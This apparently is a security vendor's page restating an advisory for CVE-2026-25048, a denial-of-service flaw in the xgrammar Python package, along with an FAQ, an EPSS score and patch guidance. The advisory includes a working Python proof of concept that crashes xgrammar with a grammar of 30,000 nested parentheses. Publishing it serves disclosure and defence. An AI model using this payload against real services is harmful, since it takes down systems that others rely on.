How severe is GHSA-7rgv-gqhr-fxg3?

No CVSS score has been assigned to GHSA-7rgv-gqhr-fxg3 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-7rgv-gqhr-fxg3?

GHSA-7rgv-gqhr-fxg3 affects the following packages: xgrammar (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-7rgv-gqhr-fxg3?

Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7rgv-gqhr-fxg3 is resolved across your whole dependency graph.

How do I detect GHSA-7rgv-gqhr-fxg3 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-7rgv-gqhr-fxg3 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-7rgv-gqhr-fxg3?

O3 pinpoints whether GHSA-7rgv-gqhr-fxg3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-7rgv-gqhr-fxg3 actively exploited in the wild?

No public exploit code has been indexed for GHSA-7rgv-gqhr-fxg3 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-7rgv-gqhr-fxg3?

GHSA-7rgv-gqhr-fxg3 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 34th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-7rgv-gqhr-fxg3 published, and has it been updated?

GHSA-7rgv-gqhr-fxg3 was published on March 5, 2026 and was last updated on March 16, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-7rgv-gqhr-fxg3

xgrammar vulnerable to DoS via multi-layer nesting

Also known asCVE-2026-25048

Published

Mar 5, 2026

Updated

Mar 16, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk34th percentile+0.34%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍xgrammar

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()

> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`xgrammar`	all versions	0.1.32

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7rgv-gqhr-fxg3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7rgv-gqhr-fxg3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7rgv-gqhr-fxg3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The multi-level nested syntax caused a segmentation fault (core dump). ### Details A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses. ### PoC ``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """ import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig s = '(' * 30000 + 'a' grammar = f"root ::= {s}" def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0

O3 Security · Impact-Aware SCA

Is GHSA-7rgv-gqhr-fxg3 in your dependencies?

O3 detects GHSA-7rgv-gqhr-fxg3 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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